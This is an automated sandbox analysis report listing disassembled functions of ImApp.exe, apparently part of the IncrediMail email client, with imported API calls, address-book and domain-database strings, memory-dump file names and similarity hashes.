#3391.MFC80U(00426B14,?), ref: 00418ED9
_wtol.MSVCR80 ref: 00418EE0
#310.MFC80U ref: 00418EEF
#4061.MFC80U(UIV,?), ref: 00418F06
#3928.MFC80U(UIV,?), ref: 00418F0F
#3990.MFC80U(?,00000003), ref: 00418F24
#3391.MFC80U ref: 00418F31
_wtoi.MSVCR80(00000000), ref: 00418F38
#578.MFC80U ref: 00418F4C
#578.MFC80U ref: 00418F66
#578.MFC80U ref: 00418F75
#578.MFC80U ref: 00418F84
#3928.MFC80U ref: 00418F8E
#1322.IMUTILSU(00003AE1,?), ref: 00418FB3
#3928.MFC80U ref: 00418FBF
#1322.IMUTILSU(00003AE0,?), ref: 00418FE4
#3391.MFC80U(00000040), ref: 00418FF2
wcsncpy.MSVCR80 ref: 00419006
#3391.MFC80U(000000FF), ref: 00419014
wcsncpy.MSVCR80 ref: 00419022
#578.MFC80U ref: 0041903C
#578.MFC80U ref: 0041904B
VariantClear.OLEAUT32(?), ref: 0041905E

Strings

UIV, xrefs: 00418EFF
IPA, xrefs: 00418E64

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#310$#3391$#3928#4061$#1194#1322#774ClearVariantwcsncpy$#1327#3990_wtoi_wtol
String ID: IPA$UIV
API String ID: 1939462209-3279307365
Opcode ID: 033da01051e3b13fa61b09e0f93133513dae1e6aa552b54e554a5b7849664446
Instruction ID: 9d1f61964703d1c66f1f510ac8ca3915c994cedeedc6c4f71753c5223e7ac797
Opcode Fuzzy Hash: 033da01051e3b13fa61b09e0f93133513dae1e6aa552b54e554a5b7849664446
Instruction Fuzzy Hash: 6F818471208300AFC315DB14D988B9BBBF4EF95704F80492DF592832A1DBB5AA4ACF57

Function 004168B0 Relevance: 61.7, APIs: 34, Strings: 1, Instructions: 468windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0041691C
SendMessageW.USER32(?,00000401,?,00000000), ref: 00416946
VariantClear.OLEAUT32(?), ref: 00416A5F
GetCursorPos.USER32(?), ref: 00416B2F
PtInRect.USER32(?,?,?), ref: 00416B44

Part of subcall function 004141C0: SetRect.USER32(?,?,?,?,?), ref: 004141D5

GetDesktopWindow.USER32 ref: 00416B88
#2366.MFC80U(00000000), ref: 00416B8F
#3685.MFC80U(?,00000000,00000000), ref: 00416B9C

Part of subcall function 00415E70: SendMessageW.USER32(?,00000436,00000000,?), ref: 00415E80

Part of subcall function 00415860: GetDC.USER32(?), ref: 00415864
Part of subcall function 00415860: #2361.MFC80U(00000000), ref: 0041586B

#1320.IMUTILSU(?,00000000,?,00000000), ref: 00416BD0

Part of subcall function 00415880: ReleaseDC.USER32(?,?), ref: 0041588C

Part of subcall function 00415E90: SendMessageW.USER32(?,00000418,00000000,?), ref: 00415EA0

#931.IMUTILSU(00000005), ref: 00416C03
#952.IMUTILSU(00000005), ref: 00416C0A
#931.IMUTILSU(00000005,00000005), ref: 00416C19
#952.IMUTILSU(00000005,00000005), ref: 00416C20
#931.IMUTILSU(0000001E,00000005), ref: 00416C2D
#953.IMUTILSU(0000001E,00000005), ref: 00416C34
#931.IMUTILSU(0000001E,0000001E,00000005), ref: 00416C45
#953.IMUTILSU(0000001E,0000001E,00000005), ref: 00416C4C
SendMessageW.USER32(?,00000412,00000000,?), ref: 00416C7B
SendMessageW.USER32(?,00000411,00000001,?), ref: 00416C90
GetCursorPos.USER32(00000000), ref: 00416CB5
#620.IMUTILSU ref: 00416CC0
GetWindowRect.USER32(00000000,?), ref: 00416CCB
GetDesktopWindow.USER32 ref: 00416D11
#2366.MFC80U(00000000), ref: 00416D18
#3685.MFC80U(?,00000000,00000000), ref: 00416D25
SendMessageW.USER32 ref: 00416D45

Part of subcall function 004157A0: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004157AA
Part of subcall function 004157A0: #2362.MFC80U(00000000), ref: 004157B1

GetDC.USER32(?), ref: 00416D59
#2361.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416D60
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416D85

Part of subcall function 00415680: #2896.MFC80U(?), ref: 00415692
Part of subcall function 00415680: #3391.MFC80U(00000000), ref: 0041569B
Part of subcall function 00415680: GetTextExtentPoint32W.GDI32(?,00000000), ref: 004156A6

#578.MFC80U ref: 00416DB6
ReleaseDC.USER32(?,?), ref: 00416DD2
SendMessageW.USER32(?,00000412,00000000,FC8A6036), ref: 00416E4A
SendMessageW.USER32(?,00000411,00000001,?), ref: 00416E5F
GetCursorPos.USER32(?), ref: 00416E88

Strings

+, xrefs: 00416AA9

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: MessageSend$#931Window$CursorRect$#2361#2366#3685#952#953DesktopRelease$#1320#2362#2896#3391#578#620#6735ClearExtentPoint32TextVariant
String ID: +
API String ID: 3153368347-2126386893
Opcode ID: 947ff4da57e34579c54161b6f3d63f6badddcc1dde9bcbba8f34ce2293a03fe5
Instruction ID: c445f982feb34c9628ad5014a10cb0b7331afaf01ea1d8b574332bd54b201eef
Opcode Fuzzy Hash: 947ff4da57e34579c54161b6f3d63f6badddcc1dde9bcbba8f34ce2293a03fe5
Instruction Fuzzy Hash: 9E025A712047019FC724EF68C884AABB7E5FF88304F508A2EF599C7291DB74E845CB96

Function 00417160 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

#427.MFC80U(0000000A,FC8A6036), ref: 0041718C
#14.IMUTILSU ref: 0041719D
#513.IMUTILSU(?,00000001), ref: 004171B2
#310.MFC80U(?,00000001), ref: 004171C6
#675.IMUTILSU(?,00000000,00000000), ref: 004171DA
#1438.IMUTILSU(?,00000000,00000000), ref: 004171E1
#1495.IMUTILSU(?,00000000,00000001,?,00000000,00000000), ref: 004171EF
#386.MFC80U ref: 004171FB
#6734.MFC80U(\*.*), ref: 0041720E

Part of subcall function 00415360: #6700.MFC80U(FC8A6036,?,?,?,?,?,0042049A,000000FF), ref: 00415394
Part of subcall function 00415360: #299.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153A1
Part of subcall function 00415360: #2896.MFC80U(?,?,?,?,?,0042049A,000000FF), ref: 004153B9
Part of subcall function 00415360: #3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153C2
Part of subcall function 00415360: #2896.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153CB
Part of subcall function 00415360: #3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153D4
Part of subcall function 00415360: #1479.MFC80U(?,00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153DC

#3391.MFC80U(00000000), ref: 0041723A
#2271.MFC80U(00000000), ref: 00417245
#578.MFC80U(00000000), ref: 00417254
#578.MFC80U ref: 00417263
#2279.MFC80U ref: 00417275
#3925.MFC80U ref: 00417280
#310.MFC80U ref: 004172A8
#310.MFC80U ref: 004172B7
#3017.MFC80U(?,?,?), ref: 004172E7
#2742.MFC80U(?,?,?,?), ref: 004172F5
#3391.MFC80U(?,?,?,?), ref: 00417305
#1472.MFC80U(00000000), ref: 0041730E
#578.MFC80U ref: 00417322
#3391.MFC80U ref: 00417339
#1799.IMUTILSU(00000000), ref: 00417344
#2745.MFC80U(?,00000000), ref: 00417352
#3391.MFC80U(?,00000000), ref: 0041735E
#1430.IMUTILSU(00000000), ref: 00417365
#578.MFC80U ref: 00417376
#578.MFC80U ref: 00417385
#578.MFC80U ref: 00417394
#631.MFC80U ref: 004173AB
#578.MFC80U ref: 004173B9
#73.IMUTILSU(?,00000001), ref: 004173C8
#664.MFC80U(?,00000001), ref: 004173D9

Strings

\*.*, xrefs: 00417205

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#3391$#310$#2896$#1430#1438#1472#1479#1495#1799#2271#2279#2742#2745#299#3017#386#3925#427#513#631#664#6700#6734#675
String ID: \*.*
API String ID: 2226513724-1173974218
Opcode ID: 7edc9d85f6e73bed6497d827db8d1b013a27145baa1bc6a11d1e634966f7b01a
Instruction ID: cf36945b939abeddae263bfa9f7bb3244cab012afb259ddfd973fc0a0d321307
Opcode Fuzzy Hash: 7edc9d85f6e73bed6497d827db8d1b013a27145baa1bc6a11d1e634966f7b01a
Instruction Fuzzy Hash: 6571743114C3409FD315EB20C899B9FBBE4AF94744F44092DF482822E1EB789689CB97

Function 020DC340 Relevance: 59.7, APIs: 32, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

Part of subcall function 020DCA50: #6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
Part of subcall function 020DCA50: #5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
Part of subcall function 020DCA50: #4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
Part of subcall function 020DCA50: #774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
Part of subcall function 020DCA50: #6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
Part of subcall function 020DCA50: #578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

#280.MFC80U(?,265105E4), ref: 020DC391
#280.MFC80U(?,?,265105E4), ref: 020DC3BC
#578.MFC80U ref: 020DC680

Strings

DomainName, xrefs: 020DC548
SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020DC550, 020DC566

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #280#578$#4100#5524#6160#6167#774
String ID: DomainName$SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 1965175706-2919525627
Opcode ID: 2a801337fceb1a38909859f45b7949990898c36dd32ba2e60ebf2e7b17c2f414
Instruction ID: f3e63d9d7b7dde75d738a8a86d0e436421defd44e5a1d7d58d9a2f3ee633409e
Opcode Fuzzy Hash: 2a801337fceb1a38909859f45b7949990898c36dd32ba2e60ebf2e7b17c2f414
Instruction Fuzzy Hash: B4A16936449341CFD350DF54C988A9FFBE5BBD9704F04891EFA8A83240DB79A909CB92

Function 020DFB70 Relevance: 58.1, APIs: 30, Strings: 3, Instructions: 336stringCOMMON

Download Yara Rule

APIs

Part of subcall function 020DE410: #6700.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1,000000FF), ref: 020DE44A
Part of subcall function 020DE410: #299.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1), ref: 020DE453
Part of subcall function 020DE410: #1479.MFC80U(?,00000000,?,?,00000001), ref: 020DE480

Part of subcall function 020C3CF0: #6700.MFC80U(265105E4,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D2D
Part of subcall function 020C3CF0: #299.MFC80U(00000000,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D36
Part of subcall function 020C3CF0: #1479.MFC80U(?,?,00000000,AddrBook.db3,AddrBook.db3,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D7A

#578.MFC80U(?,?,00000000), ref: 020DFBD3
_waccess.MSVCR80 ref: 020DFBDE
#578.MFC80U(?,?,?,?,00000000), ref: 020DFBF5
#384.MFC80U(?,?,?,?,00000000), ref: 020DFC13
#5083.MFC80U(?,00008000,00000000,?,00000000,?,?,?,?,00000000), ref: 020DFC4D
_CxxThrowException.MSVCR80(80030002,020FC888), ref: 020DFC6C
#2897.MFC80U(?,00008000,00000000,?,00000000,?,?,?,?,00000000), ref: 020DFC7B
#5319.MFC80U(?,00000004,?,00008000,00000000,?,00000000,?,?,?,?,00000000), ref: 020DFC9D
memset.MSVCR80 ref: 020DFCAD
#5319.MFC80U(00000000,00000032,00000000,?,00000000,?,?,?,?,00000000), ref: 020DFCBE
lstrlenA.KERNEL32(00000000,00000000,00000032,00000000,?,00000000,?,?,?,?,00000000), ref: 020DFCC7
__alloca_probe_16.LIBCMT ref: 020DFCDD
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,-00000001,?,?,?,?,00000000), ref: 020DFCFB
#6735.MFC80U(00000000,?,?,?,?,00000000), ref: 020DFD0F
#1476.MFC80U(Incredimail AB version 2.00,?,?,?,?,00000000), ref: 020DFD21
#1430.MFC80U(?,?,?,?,00000000), ref: 020DFD2E
_CxxThrowException.MSVCR80(80030104,020FC888), ref: 020DFD49
#578.MFC80U(?,?,?,?,00000000), ref: 020DFD55

Strings

AddressBook.imb, xrefs: 020DFB93
Incredimail AB version 2.00, xrefs: 020DFD19
:, xrefs: 020DFC71

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#1479#299#5319#6700ExceptionThrow$#1430#1476#2897#384#5083#6735ByteCharMultiWide__alloca_probe_16_waccesslstrlenmemset
String ID: :$AddressBook.imb$Incredimail AB version 2.00
API String ID: 1889137210-2310561365
Opcode ID: 55c5cf1544f62b3c81ec47dd41e821efddcf6c59be90e3400ba6f6edc0f28ebd
Instruction ID: 3687c2d2c5676bed7fb89b42dfccc01ceb51cbba496d1a797f70264ab717db6f
Opcode Fuzzy Hash: 55c5cf1544f62b3c81ec47dd41e821efddcf6c59be90e3400ba6f6edc0f28ebd
Instruction Fuzzy Hash: D6D157B1D01319DFDF25DBA4C884BDEB7B5BF05304F2086A9E516AB280DB706A48DF91

Function 020E4430 Relevance: 57.9, APIs: 29, Strings: 4, Instructions: 192COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020E4466
#4.IMDBU(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E447B
#675.IMUTILSU(?,00000000,00000000,00000000), ref: 020E44B3
#1478.IMUTILSU(?,00000000,00000000,00000000), ref: 020E44BA
#1356.IMUTILSU(?,Pictures,?,00000000,00000000,00000000), ref: 020E44CD
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 020E44DB
#1356.IMUTILSU(?,Pictures.db), ref: 020E44E7
#3.IMDBU(?), ref: 020E44F4
#38.IMDBU(?), ref: 020E4515
#39.IMDBU(00000001,00000000,?), ref: 020E4537
#1.SFTTREE_IX86_U_60(?,?), ref: 020E4541
#310.MFC80U(?), ref: 020E4577
#994.IMLOOKU(ContactPlaceHolder.png,?,00000000,00000000), ref: 020E458F
#1386.IMLOOKU(ContactPlaceHolder.png,?,00000000,00000000), ref: 020E4596
#384.MFC80U(ContactPlaceHolder.png,?,00000000,00000000), ref: 020E459F
#5083.MFC80U(?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E45BB
#2897.MFC80U(?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E45CE
malloc.MSVCR80 ref: 020E45D7
#5319.MFC80U(00000000,00000006,?,?), ref: 020E45E8
#1430.MFC80U(00000000,00000006,?,?), ref: 020E45F1
#994.IMLOOKU(GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E4605
#1386.IMLOOKU(GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E460C
#5083.MFC80U(?,00008000,00000000,GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E4620
#2897.MFC80U(?,00008000,00000000,GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E462D
malloc.MSVCR80 ref: 020E4636
#5319.MFC80U(00000000,?,?,?), ref: 020E4647
#1430.MFC80U(00000000,?,?,?), ref: 020E4650
#629.MFC80U(?,00008000,00000000,GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E465D
#578.MFC80U(?,00008000,00000000,GroupPlaceHolder.png,?,00000000,00000000,?,00008000,00000000,ContactPlaceHolder.png,?,00000000,00000000), ref: 020E466B

Strings

Pictures.db, xrefs: 020E44E1
GroupPlaceHolder.png, xrefs: 020E45FD
Pictures, xrefs: 020E44C7
ContactPlaceHolder.png, xrefs: 020E458A

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #1356#1386#1430#2897#310#5083#5319#994malloc$#1478#384#578#629#675CreateDirectory
String ID: ContactPlaceHolder.png$GroupPlaceHolder.png$Pictures$Pictures.db
API String ID: 1978052477-2230321577
Opcode ID: b5609158c71e4ebc228ae34ddf8e9040dcca73ed19300d2db3ae721e6ad38a9c
Instruction ID: c76dd9bdf0dc0bae027e0385cc05fe358bff84ed7e029a78809c63817db2c321
Opcode Fuzzy Hash: b5609158c71e4ebc228ae34ddf8e9040dcca73ed19300d2db3ae721e6ad38a9c
Instruction Fuzzy Hash: F8617DB16443009FCB44EF24D894A9BB7EAAF99704F10492DF58787380DB38E949DF62

Function 020CE480 Relevance: 57.9, APIs: 25, Strings: 8, Instructions: 159COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,00000000,?,AddrBook.db3), ref: 020CE4AB
#675.IMUTILSU(?), ref: 020CE4BC
#1551.IMUTILSU(?), ref: 020CE4C3
#1356.IMUTILSU(?,DomainsFavicons,?), ref: 020CE4D2
#1356.IMUTILSU(?,providers.dat,?,DomainsFavicons,?), ref: 020CE4E1
#556.MFC80U(?,?,?,?), ref: 020CE4ED
#5091.MFC80U(?,00004000,00000000), ref: 020CE506
#310.MFC80U(?,00004000,00000000), ref: 020CE517
#5342.MFC80U(?), ref: 020CE52B
#310.MFC80U(?), ref: 020CE53C
#310.MFC80U ref: 020CE54B
#280.MFC80U(?), ref: 020CE574

Part of subcall function 020CE720: #2261.MFC80U(020F183C,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE757
Part of subcall function 020CE720: #3990.MFC80U(?,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE772
Part of subcall function 020CE720: #774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE780
Part of subcall function 020CE720: #578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE78F
Part of subcall function 020CE720: #4100.MFC80U(?,-00000001,?,?,?,?,?,?,?,000000FF), ref: 020CE7A2
Part of subcall function 020CE720: #2261.MFC80U(020F183C,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE7B8
Part of subcall function 020CE720: #4100.MFC80U(?,00000001,?,?,?,?,?,?,?,000000FF), ref: 020CE7D2
Part of subcall function 020CE720: #774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE7E1
Part of subcall function 020CE720: #578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE7F0
Part of subcall function 020CE720: #3990.MFC80U(?,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE800
Part of subcall function 020CE720: #774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE810
Part of subcall function 020CE720: #578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE81F
Part of subcall function 020CE720: _wtoi.MSVCR80(265105E4,?,?,?,?,?,?,?,000000FF), ref: 020CE82A
Part of subcall function 020CE720: #578.MFC80U(?,?,?,?,?,?,?,?,000000FF), ref: 020CE83F
Part of subcall function 020CE720: #6161.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE856
Part of subcall function 020CE720: #6161.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE85F
Part of subcall function 020CE720: #578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE871

#10.IMDBU(UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?,?), ref: 020CE5D1
#9.IMDBU(UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,Popularity,-00000001,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?,?), ref: 020CE5E7
#8.IMDBU(UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?,?), ref: 020CE5F7
#10.IMDBU(UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?,?), ref: 020CE611
#9.IMDBU(UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,ProviderID,?,UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?), ref: 020CE627
#8.IMDBU(UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?), ref: 020CE637
#578.MFC80U(UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,00000000,00000000,?), ref: 020CE645
#578.MFC80U ref: 020CE654
#5342.MFC80U(?), ref: 020CE663
#1443.MFC80U(?), ref: 020CE674
#578.MFC80U(?), ref: 020CE682
#744.MFC80U(?,00004000,00000000), ref: 020CE691
#578.MFC80U(?,00004000,00000000), ref: 020CE6A2

Strings

AddrBook.db3, xrefs: 020CE491
DomainName, xrefs: 020CE5C2, 020CE605
ProviderID, xrefs: 020CE61B
providers.dat, xrefs: 020CE4DB
UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CE60A, 020CE620, 020CE630
Popularity, xrefs: 020CE5DB
UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CE5CA, 020CE5E0, 020CE5F0
DomainsFavicons, xrefs: 020CE4CC

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#774$#1356#2261#3990#4100#5342#6161$#1443#1551#280#5091#556#675#744_wtoi
String ID: AddrBook.db3$DomainName$DomainsFavicons$Popularity$ProviderID$UPDATE Domains SET Popularity =:Popularity WHERE DomainName=:DomainName COLLATE NOCASE$UPDATE Domains SET ProviderID =:ProviderID WHERE DomainName=:DomainName COLLATE NOCASE$providers.dat
API String ID: 1792550985-2929668216
Opcode ID: bc589855c0ff1ba8ce8cfe100349d496609979eb5c761c753ce9fba5fa2c104d
Instruction ID: dc2c44fbebd7fd6e59abc5f6edcce695ae553ac0d90d2499c3f38109e2bd530a
Opcode Fuzzy Hash: bc589855c0ff1ba8ce8cfe100349d496609979eb5c761c753ce9fba5fa2c104d
Instruction Fuzzy Hash: BA51C0712883409FE710EB24C884B9FBBE6AFD9748F14490CF68257290DB79E948DB53

Function 00413DF0 Relevance: 57.9, APIs: 27, Strings: 6, Instructions: 155threadCOMMON

Download Yara Rule

APIs

#695.IMUTILSU(FC8A6036), ref: 00413E1E
#1079.MFC80U(FC8A6036), ref: 00413E23
SftTree_RegisterApp.SFTTREE_IX86_U_60(?,FC8A6036), ref: 00413E2C
#4.IMUTILSU(?,FC8A6036), ref: 00413E35
#5113.MFC80U(?,?,FC8A6036), ref: 00413E4A
#1192.IMUTILSU(?,?,?,FC8A6036), ref: 00413E56
#64.IMUTILSU ref: 00413ECB

Part of subcall function 00413C50: OleInitialize.OLE32(00000000), ref: 00413C63

#1359.IMUTILSU(?,IncMail.exe,00000001,?,?,?,FC8A6036), ref: 00413E82
#3391.MFC80U(00000000,00000000,00000001), ref: 00413E98
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00413EA5
#578.MFC80U ref: 00413EB6
#1890.IMUTILSU(ImApp Main Window,?,?,?,?,FC8A6036), ref: 00413EF7
#675.IMUTILSU(IncrediMail,ImApp Main Window,?,?,?,?,FC8A6036), ref: 00413F06
